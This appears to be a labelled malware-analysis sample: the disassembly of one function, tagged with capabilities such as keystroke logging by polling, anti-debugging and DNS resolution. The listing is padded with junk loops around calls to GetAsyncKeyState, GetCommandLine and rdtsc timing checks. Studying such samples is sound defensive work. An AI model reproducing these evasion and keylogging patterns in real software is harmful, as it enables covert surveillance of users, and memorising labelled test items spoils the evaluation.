Function at 0x140001450
Capabilities:
Accept command line arguments
Execute anti-debugging instructions
Get memory capacity
Log keystrokes via polling
Resolve dns

Disassembly:
sub rsp, 0x568
lea rbp, [rsp + 0x200]
push rbp
mov rbp, rsp
sub rsp, 0x378
sub dword [0x14000aa47], edx
mov qword [rbp - 0x304], rcx
mov byte [0x14000aa45], dh
mov dx, ax
add dword [rbp - 0x185], edx
mov r8, qword [rbp - 0x24d]
xor ecx, dword [rbp - 0x69]
movzx eax, ch
mov qword [0x14000aa41], rcx
mov edx, ecx
add dword [rbp - 0x1ff], edx
sub eax, 0xbabf
mov cl, byte [rbp - 0x188]
movzx ecx, cx
mov rcx, 0x552a
call sub.msvcrt.dll_srand
mov dword [rbp - 0x110], ecx
mov eax, edx
mov dword [rbp - 0x34f], eax
mov r8, r10
and eax, edx
and eax, dword [rbp - 7]
mov rdx, 0x48b0
mov eax, dword [rbp - 0x2b0]
mov rcx, rdx
mov eax, dword [rbp - 0x2b1]
mov eax, dword [rbp - 0x2a4]
mov dword [rbp - 0x28e], ecx
cmp rax, r11
jns 0x140001517
mov qword [rbp - 0x354], r8
mov rcx, qword [rbp - 0x2d1]
mov eax, 0xa4a9
add edx, dword [rbp - 0x54]
mov dword [rbp - 0x99], eax
xor edx, ecx
mov qword [rbp - 0x117], rdx
mov dword [rbp - 0x78], ecx
or ecx, dword [rbp - 0xbd]
mov qword [rbp - 0x53], r11
lea r8, [rbp - 0x253]
movzx ecx, cl
and ecx, eax
mov qword [rbp - 0x31d], rax
mov eax, dword [rbp - 0x41]
add rdx, r8
mov rcx, 0
call sub.USER32.dll_GetKeyboardType
mov eax, dword [rbp - 0x18c]
mov ecx, dword [rbp - 0x36a]
movzx eax, ax
and r10, qword [rbp - 0x2d]
mov ecx, dword [rbp - 0x2b0]
mov dword [rbp - 0x1d0], eax
mov word [rbp - 0x25a], ax
sub ecx, dword [rbp - 0xad]
xor r11, r9
and ecx, 0x2183
mov qword [rbp - 0xb0], r8
sub rsp, 0x30
mov rcx, 0xd19a
call sub.msvcrt.dll_malloc
mov qword [rsp + 0x20], rax
mov ecx, dword [rbp - 0x11d]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400015fb
movzx eax, ax
mov qword [rbp - 0x30f], rdx
mov qword [rbp - 0x329], rax
mov edx, dword [rbp - 0x2bb]
mov ecx, dword [rbp - 0x72]
mov r8, r10
sub rdx, r10
add dword [rbp - 0x193], ecx
add qword [0x14000aa48], rdx
sub eax, edx
movzx eax, al
mov edx, ecx
sub eax, edx
sub ecx, dword [rbp - 0xe2]
add ecx, dword [rbp - 0x35a]
inc qword [rsp]
mov rdx, 0x718c
cmp qword [rsp], rdx
jle 0x1400015b5
add rsp, 0x10
or eax, ecx
add qword [rbp - 0xda], r9
mov dword [rbp - 0x2e1], eax
lea rcx, [0x14000aa79]
call sub.KERNEL32.dll_GetModuleHandleA
xor r11, rax
and ecx, eax
mov qword [rbp - 0x269], rax
sub edx, eax
movzx edx, dx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400016aa
and dword [0x14000aa44], ecx
lea eax, [rbp - 0x324]
sub dword [0x14000aa4a], ecx
mov qword [rbp - 0x19d], r8
mov qword [rbp - 0x18b], rdx
mov eax, dword [rbp - 0x1bf]
add dx, 0x9a4a
mov dword [rbp - 0x187], eax
or eax, ecx
mov r8, qword [rbp - 0x231]
xor rdx, qword [0x14000aa4d]
add ecx, 0xcf66
mov eax, dword [rbp - 0x270]
mov qword [rbp - 0x35e], rcx
mov rdx, qword [rbp - 0x2c6]
add eax, 0x4261
inc qword [rsp]
mov rdx, 0xa851
cmp qword [rsp], rdx
jle 0x140001646
add rsp, 0x10
mov edx, 0x17c4
mov qword [rbp - 0x153], rdx
mov eax, edx
mov dword [rbp - 0x33c], edx
movzx eax, ch
cmp eax, 0x553c9a84
jo 0x140001752
and eax, dword [rbp - 0x27b]
sub ecx, 0xb7d0
mov dword [rbp - 0x301], ecx
mov qword [rbp - 0x41], r8
add dword [rbp - 0x310], edx
add dword [rbp - 0x132], ecx
xor dword [rbp - 0x1c8], eax
lea r8, [rbp - 0xef]
mov cl, byte [rbp - 0x2fe]
or qword [0x14000aa47], r10
add ax, word [rbp - 0x76]
sub dword [rbp - 0x12e], eax
mov rcx, 0
call sub.USER32.dll_GetKeyboardType
mov qword [rbp - 0x9a], r10
or ecx, dword [rbp - 0x13]
lea r11, [rbp - 0x1de]
movzx ecx, dh
mov rax, rdx
add eax, dword [rbp - 0x204]
sub qword [rbp - 0x323], rax
mov cx, ax
sub ecx, dword [rbp - 0x233]
mov edx, dword [0x14000aa41]
mov qword [rbp - 0x32f], rcx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400017d7
mov edx, dword [0x14000aa41]
mov rdx, qword [rbp - 0x2c7]
mov ecx, edx
lea rcx, [rbp - 0x21f]
lea rdx, [rbp - 0x82]
mov dword [0x14000aa44], edx
mov qword [rbp - 0x35e], r11
add qword [0x14000aa43], r8
sub rcx, qword [rbp - 0x2a]
mov r11, qword [0x14000aa4c]
mov qword [0x14000aa4d], r10
mov qword [rbp - 0x2d5], r10
and dword [rbp - 0x73], eax
mov dword [rbp - 0x346], edx
sub edx, eax
lea rcx, [rbp - 0x14]
mov r11, qword [rbp - 0x1c0]
inc qword [rsp]
cmp qword [rsp], 0x7bc0
jle 0x140001773
add rsp, 0x10
mov rcx, qword [rsp + 0x20]
cmp rcx, 0
je 0x1400017f5
call sub.msvcrt.dll_free
add rsp, 0x30
leave
rdtsc
shl rdx, 0x20
or rdx, rax
mov rbx, rdx
add rbx, qword [0x14000a910]
push rbp
mov rbp, rsp
sub rsp, 0x4b8
mov qword [rbp - 0x18b], r8
mov eax, dword [rbp - 0x5e]
sub r11, rcx
cmp eax, ecx
je 0x140001876
mov edx, dword [rbp - 0x3a9]
mov edx, dword [rbp - 0x18b]
or ecx, dword [rbp - 0x286]
lea eax, [rbp - 0x489]
mov dword [rbp - 0x310], ecx
mov dword [rbp - 0x2b9], edx
mov eax, ecx
mov r9, rax
movzx edx, cl
mov qword [rbp - 0x22c], rax
mov edx, dword [rbp - 0x388]
mov qword [rbp - 0x25f], r11
call sub.KERNEL32.dll_GetCommandLineA
mov edx, eax
mov edx, dword [rbp - 0x473]
movzx eax, dl
add eax, dword [rbp - 0x16e]
movzx ecx, ah
mov r8, qword [0x14000aa4c]
mov eax, ecx
add dword [rbp - 0x61], edx
mov qword [rbp - 0x1d0], rdx
add dword [rbp - 0x3a2], ecx
mov ecx, eax
mov r9, r11
xor ecx, dword [rbp - 0x401]
sub eax, ecx
add ecx, eax
add r11, 0x3190
xor dword [rbp - 0x317], eax
call sub.USER32.dll_GetMessageTime
mov qword [rbp - 0x3ef], r8
mov edx, dword [rbp - 0x74]
add r9, qword [rbp - 0x14d]
mov dword [rbp - 0x281], eax
mov rdx, qword [rbp - 0x153]
mov edx, dword [rbp - 0x18f]
xor dword [0x14000aa44], ecx
xor edx, dword [rbp - 0x35b]
mov qword [rbp - 0x382], rax
call sub.KERNEL32.dll_GetCurrentThread
mov r11, 0x6b52
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001acd
mov ecx, dword [rbp - 0x348]
mov rax, 0xee41
add r10, r9
mov rdx, rax
mov qword [rbp - 0x35b], r11
sub rdx, r11
sub edx, dword [rbp - 0x310]
mov qword [rbp - 0x2c9], rax
mov eax, edx
sub r8, qword [rbp - 0x231]
mov rax, qword [rbp - 0xd4]
mov qword [rbp - 0x43b], rdx
lea r8, [rbp - 0x2bc]
mov qword [rbp - 0x3de], r9
mov qword [rbp - 0x307], rcx
mov rax, qword [rbp - 0x151]
mov qword [rbp - 0x31a], rdx
mov rdx, r10
add edx, dword [rbp - 0x1ed]
mov rcx, 0xb07f
or dword [rbp - 0x44e], eax
or rax, qword [rbp - 0x352]
mov dword [rbp - 0x19e], edx
lea r9, [rbp - 0x463]
mov qword [rbp - 0x2f3], r9
mov eax, ecx
lea rax, [rbp - 0x3ac]
mov qword [rbp - 0x376], rdx
mov qword [rbp - 0xe9], r10
mov dword [rbp - 0x434], edx
mov ecx, dword [rbp - 0x43c]
mov qword [rbp - 0x327], rax
mov r10, qword [0x14000aa4b]
sub eax, edx
xor r8, qword [rbp - 0x28b]
mov rcx, qword [rbp - 0x4a0]
mov qword [rbp - 0x3c8], r11
mov r10, qword [rbp - 0xf2]
mov edx, eax
mov dword [rbp - 0x135], edx
movzx eax, byte [rbp - 0x440]
mov r11, qword [0x14000aa42]
mov dword [rbp - 0xdf], eax
add dword [rbp - 0x1f0], ecx
lea rax, [rbp - 0x411]
mov dword [rbp - 0x32f], ecx
mov qword [rbp - 0x208], rcx
mov qword [rbp - 0x2c4], rdx
mov eax, dword [rbp - 0x1e3]
movzx eax, ax
mov rcx, r10
add edx, ecx
mov ecx, dword [rbp - 0x44]
movzx eax, dl
add rax, 0x1812
mov rcx, 0xc7c9
mov eax, dword [rbp - 0x165]
add ecx, edx
mov ecx, 0xb2e
mov eax, ecx
mov qword [rbp - 0x44], r8
mov dword [rbp - 0x77], ecx
mov qword [rbp - 0x35b], rax
mov ecx, eax
mov dword [rbp - 0x7f], eax
mov rcx, r10
sub qword [rbp - 0x206], rax
movzx edx, ah
mov edx, dword [rbp - 0x15b]
mov r10, r8
mov r9, qword [rbp - 0xad]
mov r11, r8
mov edx, dword [rbp - 0x125]
mov eax, dword [rbp - 0x1b7]
mov r8, rdx
add eax, dword [rbp - 0xb4]
add dword [rbp - 0x4ae], eax
mov dword [rbp - 0x467], eax
mov r9, qword [rbp - 0x303]
add eax, dword [rbp - 0x384]
lea r8, [rbp - 0x192]
inc qword [rsp]
mov eax, 0xdf3b
cmp eax, dword [rsp]
jl 0x140001910
add rsp, 0x10
mov qword [rbp - 0x404], rax
add eax, 0x5a7a
mov dword [rbp - 0x343], ecx
mov qword [rbp - 0x3f7], rcx
mov rcx, r11
mov qword [rbp - 0x432], rax
mov eax, ecx
mov dword [rbp - 0x3d8], eax
mov rdx, 0xf455
add r8, qword [rbp - 0x67]
mov byte [rbp - 0x24d], dl
movzx eax, dx
mov r8, qword [rbp - 0x75]
mov rcx, 0xab2d
call sub.msvcrt.dll_srand
mov r8, qword [rbp - 0x16d]
sub qword [rbp - 0x2e4], r10
sub eax, edx
mov eax, dword [rbp - 0x406]
add edx, dword [rbp - 0xaa]
leave
mov rcx, 0x3e8
call sub.KERNEL32.dll_Sleep
push rbp
mov rbp, rsp
sub rsp, 0x3b8
mov qword [rbp - 0x191], rcx
lea rdx, [rbp - 0x6b]
mov rax, rcx
mov qword [rbp - 0x5a], rax
movzx eax, ch
sub eax, 0xeff6
and edx, 0x51a7
mov rdx, qword [rbp - 0x316]
xor dword [rbp - 0x83], edx
xor ecx, dword [rbp - 0x1b0]
mov byte [rbp - 0xe3], ah
sub dword [rbp - 0x1d7], edx
and dword [rbp - 0x345], eax
add edx, 0xfe2c
mov rcx, 0x9e
call sub.USER32.dll_GetAsyncKeyState
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001c13
mov edx, dword [rbp - 0x217]
mov dword [rbp - 0x365], eax
or r9, 0xe49a
mov ecx, dword [0x14000aa49]
mov qword [rbp - 0x11e], r8
and rdx, r10
mov dword [rbp - 0x385], ecx
sub ch, 0x7c
sub rdx, qword [rbp - 0x1a3]
sub edx, 0xaf16
sub r9, qword [rbp - 0x374]
xor ecx, edx
sub edx, dword [0x14000aa43]
inc qword [rsp]
mov r10, 0x8545
cmp qword [rsp], r10
jle 0x140001bc7
add rsp, 0x10
mov r11, rcx
mov dword [rbp - 0x104], eax
mov r8, rcx
movzx ecx, ax
add rdx, qword [rbp - 0x125]
and qword [rbp - 0x131], r11
add rcx, r8
add eax, 0x5ae0
mov r10, r9
mov cl, byte [0x14000aa4e]
mov edx, ecx
sub rsp, 0x70
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GlobalMemoryStatus
add rsp, 0x70
mov dword [rbp - 0x1a3], ecx
mov dword [rbp - 7], eax
mov eax, edx
sub byte [rbp - 0xcc], al
mov r10, qword [rbp - 0xae]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001ca0
mov dword [rbp - 0x1a], ecx
add qword [rbp - 0x245], rdx
and dword [0x14000aa4d], ecx
inc qword [rsp]
cmp qword [rsp], 0xceff
jle 0x140001c8c
add rsp, 0x10
mov rcx, qword [rbp - 0x1d3]
movzx eax, dx
or r8, qword [rbp - 0x2b9]
add dword [rbp - 0x100], eax
mov edx, dword [rbp - 0x280]
add r10, qword [rbp - 0x395]
mov ecx, dword [rbp - 0x3a1]
sub eax, 0x1ac4
and r8, rdx
cmp eax, dword [0x14000aa4f]
je 0x140001ddf
lea rax, [rbp - 0x19b]
mov rax, qword [rbp - 0x38f]
mov rax, r8
mov dword [rbp - 0x105], eax
xor edx, ecx
mov ecx, eax
mov edx, dword [rbp - 0x110]
mov dword [rbp - 0x225], edx
mov eax, 0x1439
add r10, 0xaed8
sub dword [rbp - 0x2a6], eax
add word [rbp - 0x1b3], dx
and edx, dword [rbp - 0x2d6]
mov ecx, dword [rbp - 0x22b]
movzx eax, byte [0x14000aa48]
movzx eax, al
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001da1
movzx edx, word [rbp - 0x12c]
mov eax, dword [rbp - 0xfc]
sub dword [rbp - 0xa7], eax
add r8, qword [0x14000aa46]
and r10, rax
mov r10, qword [0x14000aa44]
mov edx, ecx
add edx, 0x6a3e
sub qword [rbp - 0x14e], r9
sub qword [rbp - 0x118], r11
and eax, dword [rbp - 0x4b]
mov r9, 0xc989
mov rax, rdx
add edx, 0x1bc3
inc qword [rsp]
mov rax, 0xe82d
cmp qword [rsp], rax
jle 0x140001d50
add rsp, 0x10
sub r8, qword [rbp - 0x371]
lea r10, [0x14000aa44]
mov rdx, rax
mov dword [rbp - 0x13b], edx
xor qword [rbp - 0xb4], r9
add r11, rdx
mov qword [rbp - 0x348], r8
call sub.KERNEL32.dll_GetLastError
sub qword [rbp - 0x1d7], r8
mov word [rbp - 0x27d], dx
mov dword [rbp - 0x242], eax
movzx ecx, ch
add qword [rbp - 0x207], r10
add dword [rbp - 0x2d1], ecx
xor dword [rbp - 0x1b4], ecx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001ed3
mov rcx, r8
sub eax, ecx
sub rcx, qword [rbp - 0x307]
mov eax, dword [rbp - 0xe1]
mov qword [0x14000aa47], r11
add eax, dword [rbp - 0x31]
add eax, dword [rbp - 0x146]
movzx eax, byte [rbp - 0xfa]
mov byte [rbp - 0x378], cl
add eax, 0x4b98
sub r8, qword [rbp - 0x1ad]
sub qword [0x14000aa42], r9
add eax, 0x47e2
mov ecx, eax
mov eax, dword [rbp - 0x393]
and r11, 0x71ba
add r8, qword [rbp - 0x24a]
mov r9, qword [rbp - 0x10e]
mov edx, ecx
mov dword [rbp - 0x1df], ecx
mov ecx, 0x7f57
movzx edx, cl
mov rax, qword [rbp - 0x28c]
movzx ecx, ch
add r8, 0x361d
mov dword [rbp - 0xec], eax
add qword [0x14000aa4e], r10
or qword [rbp - 0x2ca], rdx
mov ax, word [rbp - 0x1fb]
lea ecx, [rbp - 0x2d5]
xor edx, eax
mov qword [rbp - 0x34c], r8
mov dword [0x14000aa47], edx
inc qword [rsp]
mov rcx, 0xbbb
cmp qword [rsp], rcx
jle 0x140001e1a
add rsp, 0x10
mov edx, 0x2da0
sub edx, dword [rbp - 0x32d]
mov qword [rbp - 0x133], r9
mov eax, 0xf49d
and rax, qword [rbp - 0x394]
mov dword [rbp - 0x12a], ecx
mov ecx, dword [rbp - 0x288]
mov edx, eax
mov qword [rbp - 0xc2], r9
mov dword [rbp - 0x2a8], eax
movzx eax, al
mov r8, rax
call sub.KERNEL32.dll_GetCommandLineA
call sub.KERNEL32.dll_GetCommandLineW
xor eax, dword [rbp - 0x2c9]
mov edx, dword [rbp - 0x25]
sub r11, qword [rbp - 0x17]
movzx eax, ch
and dword [rbp - 0x9c], edx
mov eax, 0x9938
leave
rdtsc
shl rdx, 0x20
or rdx, rax
cmp rdx, rbx
jb 0x14000180d
mov rcx, rbx
call sub.msvcrt.dll_srand
lea rdi, section..data
mov rsi, qword [0x14000a8ec]
mov r12, 0x84
call fcn.140005443
push rdi
push r14
push rbp
mov rbp, rsp
sub rsp, 0x298
mov edi, dword [rbp - 0xf]
and rcx, qword [rbp - 0x15c]
mov qword [rbp - 0x1ea], r10
or rax, rcx
sub qword [rbp - 0x1bf], r9
mov qword [rbp - 0x30], r10
mov r9, qword [0x14000aa47]
mov edi, dword [rbp - 0xbb]
lea rcx, [rbp - 0x201]
mov qword [rbp - 0x30], r9
cmp r11, rdx
jo 0x140002133
or r8, qword [rbp - 0xaf]
mov dword [rbp - 0x11f], eax
add qword [0x14000aa4a], r10
mov qword [rbp - 0x5c], rax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400020d0
movzx eax, ah
mov rdi, qword [rbp - 0x39]
mov ecx, edx
add edi, eax
mov dword [0x14000aa44], edi
add eax, ecx
and qword [rbp - 0x228], rdi
movzx edi, cl
lea r14, [rbp - 0x157]
sub rdi, qword [rbp - 0x101]
mov qword [rbp - 0x65], rdi
mov rdx, rdi
movzx eax, ax
mov r11, rcx
mov edi, dword [rbp - 0x6a]
mov eax, dword [0x14000aa4e]
mov ecx, edi
mov dword [0x14000aa43], edi
mov qword [rbp - 0xbc], rdi
mov rax, qword [rbp - 0xb1]
mov dword [rbp - 0xb0], edx
mov rdx, r14
mov edx, dword [rbp - 0x16a]
mov r14, qword [rbp - 0x1c8]
and ecx, eax
mov qword [rbp - 0x15], rax
add rdx, qword [rbp - 0x243]
lea edi, [rbp - 0x1f2]
mov eax, ecx
mov dword [rbp - 0x244], edi
mov dword [rbp - 0x225], ecx
movzx edi, al
movzx ecx, ah
mov rcx, rdx
xor dword [rbp - 0x21a], edi
mov eax, 0x1dc3
xor dword [rbp - 0x106], edx
mov edx, dword [rbp - 0xf9]
mov r11, r9
mov eax, dword [rbp - 0x62]
mov al, byte [rbp - 0xdb]
sub dword [rbp - 0x87], edi
or r10, r8
mov qword [0x14000aa4d], r10
and edi, 0xd341
mov r11, qword [rbp - 0x50]
inc qword [rsp]
mov edx, 0x9a0d
cmp edx, dword [rsp]
jl 0x140001ff8
add rsp, 0x10
mov rax, 0x552
sub rax, qword [rbp - 0x1b8]
lea rcx, [rbp - 9]
movzx edi, cl
mov ecx, dword [rbp - 0x1de]
sub qword [rbp - 0x26e], r9
add qword [rbp - 0x118], r9
or edx, eax
sub edx, dword [rbp - 0x126]
mov eax, dword [rbp - 0x148]
or edi, dword [rbp - 0x1fe]
xor qword [rbp - 0x16], rdi
add dword [rbp - 0x11], edi
or qword [rbp - 0x254], r8
mov dword [rbp - 0x155], ecx
leave
pop r14
pop rdi
call fcn.14000637c
call fcn.140006f73
cmp rax, 0
jne 0x140007367
push r13
push rbx
push r12
push rsi
push r14
push r15
push rdi
push rbp
mov rbp, rsp
sub rsp, 0x268
mov r15, qword [0x14000aa4d]
mov edx, dword [rbp - 0x1d9]
sub dword [rbp - 0x1b0], edx
mov esi, 0xa62e
mov rcx, qword [rbp - 0x15f]
or qword [str.Im1xQ26E8y2QsDLqN1yASiNu8ch80U8RX7lFaSXWggmV2MGopOqCPKAnLDrD3LycUTUA1zzvhCxxadNsb3swnYzBXU2s], rcx
and r10, 0x1c95
movzx ebx, dl
sub rcx, qword [0x14000aa44]
add esi, edi
mov eax, edi
lea rdx, [rbp - 0x1db]
mov qword [rbp - 0x13d], r9
mov rax, 0xef8a
cmp r8, 0xffffffffb9619fa0
js 0x1400021cf
lea r12, [rbp - 0xf5]
mov r11, qword [0x14000aa42]
mov r13, qword [0x14000aa4e]
xor r13, qword [rbp - 0x1ce]
and dword [rbp - 0xfb], eax
mov qword [rbp - 0x1bd], rsi
and r12, qword [rbp - 0x22c]
mov qword [rbp - 0x160], r8
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002283
movzx edi, bx
sub edi, 0x7481
or rdx, rdi
or r8, qword [rbp - 0x161]
lea r8, [0x14000aa41]
mov qword [rbp - 0x15d], r13
mov rdi, qword [rbp - 0x1e3]
mov edi, eax
or rsi, r11
mov dword [rbp - 0xe6], eax
movzx ebx, al
lea rdi, [rbp - 0x193]
xor qword [rbp - 0x39], rdi
add qword [rbp - 0x1f1], r13
mov edi, edx
mov edi, dword [rbp - 0x25c]
mov qword [rbp - 0x6d], r8
mov ecx, dword [rbp - 0x207]
xor eax, dword [rbp - 0x1da]
mov ebx, 0x82a6
mov ebx, dword [rbp - 0xb]
sub qword [rbp - 0x1ee], rbx
mov cl, byte [rbp - 0x62]
mov qword [0x14000aa48], r13
mov rbx, qword [rbp - 4]
inc qword [rsp]
mov ebx, 0xd796
cmp ebx, dword [rsp]
jl 0x140002202
add rsp, 0x10
mov r15, r13
mov qword [0x14000aa41], rax
mov qword [rbp - 0x214], rdx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400022c5
sub dword [rbp - 0x112], ecx
and qword [rbp - 0x100], rbx
inc qword [rsp]
cmp qword [rsp], 0xc683
jle 0x1400022b4
add rsp, 0x10
leave
pop rdi
pop r15
pop r14
pop rsi
pop r12
pop rbx
pop r13
call fcn.140007158
cmp rax, 0
jne 0x140007367
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x468
movzx eax, dh
lea r9, [rbp - 0x25d]
sub dword [0x14000aa48], eax
sub ecx, edx
mov rcx, 0x5094
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002424
movzx edx, cl
mov eax, dword [rbp - 0x1c3]
mov esi, 0x3c0e
mov r9, qword [rbp - 0x1f4]
movzx ecx, dl
mov edx, dword [rbp - 0xcd]
add rcx, qword [rbp - 0x427]
and r11, rcx
add rdx, qword [rbp - 0x1aa]
mov ecx, dword [rbp - 0x4c]
mov r10, qword [rbp - 0x3d3]
mov qword [rbp - 0x2de], rsi
movzx eax, dh
mov dword [rbp - 0x2e6], ecx
mov rdx, qword [rbp - 0x400]
sub ecx, dword [rbp - 0x348]
mov dword [0x14000aa47], esi
sub edx, eax
mov rdx, rcx
and rdx, r9
mov r10, qword [rbp - 0x205]
sub ecx, dword [rbp - 0x109]
mov rcx, r8
mov qword [rbp - 0x3fa], rdx
mov ecx, eax
mov qword [rbp - 0x98], r9
mov edx, ecx
add r9, 0x40f4
sub r11, rax
add dh, ch
movzx edx, ch
movzx eax, ch
mov eax, dword [rbp - 8]
mov rsi, rdx
mov edx, 0xf46b
or edx, dword [rbp - 0x1ae]
mov dh, byte [rbp - 0x1a7]
or r11, r9
add r8, qword [rbp - 0x37d]
mov qword [rbp - 0x22d], r9
or r11, qword [rbp - 0x36]
add r8, qword [rbp - 0x35e]
mov ecx, 0x2542
mov rax, qword [rbp - 0x277]
mov qword [rbp - 0x76], rsi
mov rcx, qword [rbp - 0xd9]
add edx, dword [rbp - 0x2df]
mov dword [rbp - 0x2f6], edx
mov eax, 0x6dc2
movzx esi, al
mov ecx, dword [rbp - 0x271]
inc qword [rsp]
cmp qword [rsp], 0x5dca
jle 0x140002324
add rsp, 0x10
mov qword [rbp - 0x2ac], r9
mov dword [rbp - 0x1a2], eax
movzx eax, byte [rbp - 0x29f]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002466
mov rdx, qword [rbp - 0x18f]
mov edx, dword [rbp - 0x1e]
inc qword [rsp]
mov r9, 0xbb81
cmp qword [rsp], r9
jle 0x140002458
add rsp, 0x10
leave
pop rsi
lea rdx, [rbp - 0x40]
mov rcx, 0x202
mov rax, qword [0x14000a970]
call rax
test eax, eax
jne 0x140005189
push r14
push rsi
push r12
push r15
push rbp
mov rbp, rsp
sub rsp, 0x438
mov ecx, dword [rbp - 0x142]
mov qword [rbp - 0x2a1], r12
mov qword [0x14000aa4d], r14
mov qword [0x14000aa4b], r10
add r11, 0x5f25
mov esi, dword [rbp - 0xd9]
movzx edx, si
mov qword [rbp - 0x40c], r11
add r9, rsi
mov qword [rbp - 0xa0], rsi
cmp esi, dword [0x14000aa47]
je 0x1400025b4
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002598
or qword [rbp - 0x30b], r14
mov dword [rbp - 0x3ec], edx
mov dl, byte [rbp - 0x372]
mov r15, qword [rbp - 0x153]
or edx, eax
mov dword [0x14000aa4f], esi
sub esi, 0x8337
sub r12, rax
mov dword [rbp - 0x3c4], ecx
mov dword [0x14000aa46], ecx
lea eax, [rbp - 0x166]
mov r12, qword [rbp - 0x8a]
mov dword [rbp - 0x321], eax
mov r9, r8
mov dword [rbp - 0xff], esi
mov r8, r10
mov qword [rbp - 0xe9], r11
mov dword [0x14000aa4d], ecx
or r9, qword [rbp - 0x391]
xor qword [rbp - 0x1af], r12
sub ecx, edx
add esi, eax
movzx esi, byte [rbp - 0xe9]
add dl, 0xf
xor rax, qword [rbp - 0x3ba]
sub qword [rbp - 0x3bd], rcx
mov r12, r14
mov r12, qword [rbp - 0x70]
inc qword [rsp]
cmp qword [rsp], 0x67e3
jle 0x140002500
add rsp, 0x10
movzx edx, cx
and qword [rbp - 0x186], r14
mov esi, ecx
mov r12, qword [rbp - 0x55]
mov r12, rcx
sub dword [rbp - 0x168], esi
mov rdx, qword [rbp - 0x24a]
mov rcx, r10
mov r11, r9
add rax, 0xd4ae
mov edx, 0xea52
sub rsi, 0xaab7
add edx, ecx
sub dword [rbp - 0x2e0], eax
mov eax, ecx
mov dword [rbp - 0xc8], edx
movzx edx, dh
add qword [rbp - 0x384], r9
mov rdx, qword [0x14000aa49]
cmp edx, 0x2eba2a2
je 0x14000263c
mov ecx, edx
sub qword [rbp - 0x16e], rdx
or dword [0x14000aa47], eax
mov qword [rbp - 0x63], rcx
sub ecx, dword [rbp - 0x1ef]
or ecx, esi
movzx esi, al
sub r12, qword [rbp - 0x22e]
mov eax, ecx
and r12, 0x7f99
movzx esi, dh
leave
pop r15
pop r12
pop rsi
pop r14
rdtsc
mov dword [0x14000a1cc], eax
lea rsi, [0x14000a10d]
mov r10, 0
call fcn.140005c58
push rbx
push rdi
push r15
push rbp
mov rbp, rsp
sub rsp, 0x198
mov rdi, r9
mov cx, word [rbp - 0xa9]
or word [0x14000aa44], di
mov rdi, qword [rbp - 0x5a]
mov qword [rbp - 0xc9], r9
and qword [rbp - 0x18b], rdx
or ebx, edx
and r8, 0x9ec6
add r11, 0x5afb
mov r10, rcx
mov qword [0x14000aa46], r11
mov dword [rbp - 0x138], ecx
mov ebx, dword [rbp - 0xe6]
mov r11, qword [rbp - 0x104]
mov rdi, qword [rbp - 0xe2]
cmp r11, rdx
jne 0x1400027a4
mov r10, rbx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400026fa
sub dword [0x14000aa4a], eax
mov eax, dword [rbp - 0x2b]
mov ebx, eax
movzx edx, al
sub dword [rbp - 0x1b], ebx
and ebx, edx
xor qword [rbp - 0x7a], rdx
inc qword [rsp]
cmp qword [rsp], 0x4032
jle 0x1400026df
add rsp, 0x10
mov dword [rbp - 0x162], edi
movzx ebx, bh
xor r15, rdi
mov eax, 0x6996
mov dword [rbp - 0x104], ebx
or ecx, ebx
mov ecx, dword [rbp - 0x27]
mov qword [rbp - 0x168], r8
mov qword [rbp - 0x8f], rbx
mov edx, ecx
mov ecx, dword [rbp - 0x121]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002766
mov ecx, edi
mov rdx, 0x63ba
mov word [rbp - 0x7e], cx
mov dword [0x14000aa41], ecx
xor qword [rbp - 0x148], rax
inc qword [rsp]
mov r8, 0xfc69
cmp qword [rsp], r8
jle 0x140002748
add rsp, 0x10
movzx ebx, di
mov eax, dword [rbp - 0x11]
add ecx, dword [0x14000aa4b]
add qword [rbp - 0x112], rdi
mov ebx, dword [rbp - 0x14e]
mov r10, qword [rbp - 0x29]
mov qword [rbp - 0xcb], rdi
mov bh, 0x3f
mov qword [rbp - 0x180], r10
leave
pop r15
pop rdi
pop rbx
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x60], 0x18
mov qword [rbp + 0x68], 0
mov dword [rbp + 0x70], 1
push rbp
mov rbp, rsp
sub rsp, 0x3c8
movzx edx, dl
movzx ecx, ax
test r10, r9
jae 0x1400027e4
mov rdx, 0x9a81
test ecx, 0x4e81afcb
je 0x14000298a
mov dword [rbp - 0x1d0], eax
mov rcx, qword [rbp - 0x1ab]
mov r11, r8
mov ch, byte [rbp - 0x377]
mov r10, rcx
add rdx, 0x6782
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002843
mov word [rbp - 0x285], cx
and edx, eax
sub qword [rbp - 0x4a], r9
mov r8, qword [rbp - 0x293]
sub rax, qword [rbp - 0x3a6]
mov ecx, dword [rbp - 0x1e2]
inc qword [rsp]
cmp qword [rsp], 0xaa46
jle 0x14000281e
add rsp, 0x10
mov ax, cx
movzx ecx, dh
sub eax, dword [rbp - 0x36a]
mov dword [0x14000aa4c], eax
mov r8, qword [0x14000aa4d]
lea r9, [rbp - 0x2fc]
mov dword [rbp - 0x280], eax
mov qword [rbp - 0x9a], r8
movzx edx, dl
mov qword [rbp - 0xb], r10
and eax, dword [rbp - 0x35b]
mov eax, 0x4463
and dword [rbp - 0x18e], eax
mov ecx, 0xf001
mov r8, qword [rbp - 0x37c]
xor r10, qword [rbp - 0x2a4]
mov dword [rbp - 0xed], ecx
mov rax, r9
mov qword [rbp - 0x144], r10
xor qword [rbp - 0x303], rcx
mov ecx, dword [rbp - 0x6a]
sub r11, 0xf603
mov r11, qword [rbp - 0x199]
mov qword [rbp - 0x33e], rcx
or dword [0x14000aa4e], eax
add ecx, 0xb58b
mov edx, ecx
mov qword [rbp - 0x27], rax
